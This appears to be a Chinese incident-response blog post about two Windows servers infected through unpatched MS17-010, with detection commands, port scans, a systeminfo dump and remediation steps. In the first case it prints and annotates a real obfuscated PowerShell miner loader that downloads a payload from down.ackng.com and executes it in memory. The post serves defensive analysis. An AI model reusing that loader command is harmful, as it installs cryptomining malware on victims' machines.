案例一
在公司这几天收到 cso 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。
通过对这台机器端口扫描结果发现对方也开了 445。
135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds1688/tcp open nsjtp-data3389/tcp open ms-wbt-server5200/tcp open targus-getdata49152/tcp open unknown49153/tcp open unknown49155/tcp open unknown49197/tcp open unknown49350/tcp open unknown49438/tcp open unknown57084/tcp open unknown65529/tcp open unknown65530/tcp open unknown65533/tcp open unknown
问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。
那我想怎么能查得到这个 powershell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。
wmic process where caption=powershell.exe get caption,commandline /value
得到异常参数。
caption=powershell.execommandline=powershell -nop -w hidden -ep bypass -c $ifp=$env:tmp+'if.bin';if(test-path $ifp){$con=[system.io.file]::readallbytes($ifp);[system.security.cryptography.md5]::create().computehash($con)|foreach{$s+=$_.tostring('x2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(new-object net.webclient).downloaddata('http://down.ackng.com/if.bin?id=win-g4sel2fmi8m&guid=dc503c42-a0a0-ebd7-0982-249c228d246a&mac=005632:54&os=6.3.9600&bit=64 位&user=mssqlserver&domain=workgroup&d=&cd=microsoft 基本显示适配器&p=0&fi=0&fm=0&if=0&mf=0&hr=&up=1586108.812&_t=1572307138.34506');[system.io.file]::writeallbytes($ifp,$con)}iex(-join[char[]]$con)
一搜其中 down.ackng.com 域名得知是挖矿病毒。
手动格式化并查了一堆资料后写下注释。
powershell-nop -w hidden -ep bypass -c $ifp=$env:tmp+'if.bin'; # 获取当前用户tmp目录下if.bin文件信息 if(test-path $ifp){ # 用test-path判断if.bin文件是否存在 $con=[system.io.file]::readallbytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量 [system.security.cryptography.md5]::create().computehash($con)|foreach{$s+=$_.tostring('x2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量s if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。 } if(!$con){ # 如果$con没被篡改(或不存在)继续往下走 $con=(new-object net.webclient).downloaddata('http://down.ackng.com/if.bin?id=win-g4sel2fmi8m&guid=dc503c42-a0a0-ebd7-0982-249c228d246a&mac=005632:54&os=6.3.9600&bit=64 位&user=mssqlserver&domain=workgroup&d=&cd=microsoft 基本显示适配器&p=0&fi=0&fm=0&if=0&mf=0&hr=&up=1586108.812&_t=1572307138.34506'); [system.io.file]::writeallbytes($ifp,$con) # 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。 } iex(-join[char[]]$con) # iex=invoke-expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]
根据脚本 $env:tmp 查看目录中发现 if.bin 和 m6.bin。
从秦萧公众号一篇应急响应文章得知判断方法,要想断定病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。
netstat -ano 查看网络连接和wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。
查询系统补丁,服务器系统是 2012r2, ms17-010 的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。
systeminfo | findstr /i kb4012213systeminfo | findstr /i kb4012216
按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。
任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。
日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况....
脚本执行思路
分析 if.bin 文件,得知脚本会扫描整个内网 b 段和 c 段,采用 ms17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。
修复策略
删除异常任务计划
删除后门文件
结束powershell进程
开启windows防火墙,并在入站规则禁止 445。
下载ad并全盘查杀
打补丁
案例二
又收到一条阿里云告警信息。
进程信息
网络连接
大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。
补丁信息
未打 ms17-010 补丁。
systeminfo | find 4012215systeminfo | find 4012212主机名: xx-xxos 名称: microsoft windows server 2008 r2 standard os 版本: 6.1.7601 service pack 1 build 7601os 制造商: microsoft corporationos 配置: 独立服务器os 构件类型: multiprocessor free注册的所有人: windows 用户注册的组织: 产品 id: 00477-001-0000421-84376初始安装日期: 2013/6/27, 1743系统启动时间: 2019/11/15, 2250系统制造商: alibaba cloud系统型号: alibaba cloud ecs系统类型: x64-based pc处理器: 安装了 1 个处理器。 [01]: intel64 family 6 model 85 stepping 4 genuineintel ~2500 mhzbios 版本: seabios 3288b3c, 2014/4/1windows 目录: c:windows系统目录: c:windowssystem32启动设备: deviceharddiskvolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: zh-cn;中文(中国)时区: (utc+08:00)北京,重庆,香港特别行政区,乌鲁木齐物理内存总量: 8,191 mb可用的物理内存: 4,079 mb虚拟内存: 最大值: 16,381 mb虚拟内存: 可用: 7,580 mb虚拟内存: 使用中: 8,801 mb页面文件位置: d:pagefile.sys域: workgroup登录服务器: \xx-xx修补程序: 安装了 185 个修补程序。 [01]: kb981391 [02]: kb981392 [03]: kb977236 [04]: kb981111 [05]: kb977238 [06]: kb2849697 [07]: kb2849696 [08]: kb2841134 [09]: kb2841134 [10]: kb977239 [11]: kb2670838 [12]: kb2592687 [13]: kb981390 [14]: kb2386667 [15]: kb2425227 [16]: kb2506014 [17]: kb2506212 [18]: kb2506928 [19]: kb2509553 [20]: kb2511455 [21]: kb2515325 [22]: kb2529073 [23]: kb2533552 [24]: kb2536275 [25]: kb2536276 [26]: kb2541014 [27]: kb2544893 [28]: kb2545698 [29]: kb2547666 [30]: kb2552343 [31]: kb2560656 [32]: kb2563227 [33]: kb2564958 [34]: kb2570947 [35]: kb2574819 [36]: kb2584146 [37]: kb2585542 [38]: kb2603229 [39]: kb2604115 [40]: kb2607047 [41]: kb2608658 [42]: kb2618451 [43]: kb2620704 [44]: kb2621440 [45]: kb2631813 [46]: kb2636573 [47]: kb2640148 [48]: kb2643719 [49]: kb2644615 [50]: kb2645640 [51]: kb2647753 [52]: kb2653956 [53]: kb2654428 [54]: kb2655992 [55]: kb2656356 [56]: kb2658846 [57]: kb2659262 [58]: kb2660075 [59]: kb2667402 [60]: kb2676562 [61]: kb2685811 [62]: kb2685813 [63]: kb2685939 [64]: kb2690533 [65]: kb2691442 [66]: kb2698365 [67]: kb2699779 [68]: kb2705219 [69]: kb2706045 [70]: kb2709630 [71]: kb2709981 [72]: kb2712808 [73]: kb2718704 [74]: kb2719857 [75]: kb2726535 [76]: kb2729094 [77]: kb2729452 [78]: kb2732059 [79]: kb2742599 [80]: kb2743555 [81]: kb2749655 [82]: kb2750841 [83]: kb2753842 [84]: kb2757638 [85]: kb2758857 [86]: kb2761217 [87]: kb2763523 [88]: kb2765809 [89]: kb2770660 [90]: kb2779562 [91]: kb2785220 [92]: kb2786081 [93]: kb2786400 [94]: kb2789645 [95]: kb2790113 [96]: kb2791765 [97]: kb2798162 [98]: kb2800095 [99]: kb2804579 [100]: kb2807986 [101]: kb2808679 [102]: kb2813170 [103]: kb2813347 [104]: kb2813430 [105]: kb2820197 [106]: kb2820331 [107]: kb2829361 [108]: kb2830290 [109]: kb2834140 [110]: kb2835361 [111]: kb2836502 [112]: kb2836943 [113]: kb2838727 [114]: kb2839894 [115]: kb2840149 [116]: kb2843630 [117]: kb2845690 [118]: kb2847311 [119]: kb2852386 [120]: kb2853952 [121]: kb2862152 [122]: kb2862330 [123]: kb2862335 [124]: kb2862966 [125]: kb2862973 [126]: kb2864058 [127]: kb2864202 [128]: kb2868038 [129]: kb2868116 [130]: kb2868626 [131]: kb2871997 [132]: kb2872339 [133]: kb2882822 [134]: kb2884256 [135]: kb2887069 [136]: kb2888049 [137]: kb2891804 [138]: kb2892074 [139]: kb2893294 [140]: kb2893519 [141]: kb2908783 [142]: kb2912390 [143]: kb2913152 [144]: kb2918614 [145]: kb2919469 [146]: kb2922229 [147]: kb2926765 [148]: kb2928562 [149]: kb2929733 [150]: kb2929755 [151]: kb2939576 [152]: kb2957189 [153]: kb2957503 [154]: kb2957509 [155]: kb2961072 [156]: kb2961851 [157]: kb2966583 [158]: kb2970228 [159]: kb2973201 [160]: kb2973351 [161]: kb2976897 [162]: kb2977292 [163]: kb2977728 [164]: kb2978092 [165]: kb2978120 [166]: kb2978668 [167]: kb2980245 [168]: kb2984972 [169]: kb2984976 [170]: kb2985461 [171]: kb2991963 [172]: kb2992611 [173]: kb2993651 [174]: kb2993958 [175]: kb2998527 [176]: kb2999226 [177]: kb3002885 [178]: kb3003057 [179]: kb3003743 [180]: kb3005607 [181]: kb3006226 [182]: kb3008627 [183]: kb3010788 [184]: kb976902 [185]: kb982018网卡: 安装了 3 个 nic。 [01]: microsoft loopback adapter 连接名: loopback 启用 dhcp: 是 dhcp 服务器: 255.255.255.255 ip 地址 [01]: 169.254.114.140 [02]: fe80:78b9728c [02]: microsoft loopback adapter 连接名: npcap loopback adapter 启用 dhcp: 是 dhcp 服务器: 255.255.255.255 ip 地址 [01]: 169.254.219.140 [02]: fe80:a78edb8c [03]: red hat virtio ethernet adapter 连接名: 本地连接 3 启用 dhcp: 否 ip 地址 [01]: 192.168.2.18 [02]: fe80:ef0f6468
日志信息
根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。
通过查询服务创建时间和释放时间吻合。
处理
通过火绒扫描删除恶意程序
防火墙入站规则禁止 445 连接本机。
ps:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。
飞凌嵌入式FETMX6UL-C工业级核心板介绍
intel财报给力 半导体企业股价大幅上涨
霍尼韦尔推出第十代车载移动终端Thor VM2
烽火通信三大最新成果助力中国5G领先世界
在Altera CycIone II系列FPGA中用VHDL实现E2PROM控制器的设计
PowerShell运行的是什么脚本
苹果Macbook Pro依然热销 国产神舟优雅X4-SL5S1想挑战它
宏碁推出新一代热介面材料 Predator PowerGen
MINIX3代码编译运行案例分析
PID调节,最生动的讲解!
TOF有望成主流技术 国内厂商将具备相关优势
基于富锂钒磷酸钒阴极形成的电池系统来提升电动车电池抗寒能力
物联网的未来畅想
OPPO R11使用骁龙660 热销机型过半采用高通芯片
接触镜传感器系统收集24小时眼压,测量结果优于诊室的多次眼压测量
贸泽电子荣膺Ohmite 2020年渠道合作伙伴奖
三相电采集模块的使用方法描述
利润缩水 MEMS大厂面临竞争压力
直播回顾 | 4G聚合在线体验交流会首播圆满收官
FPGA电源设计的3大要点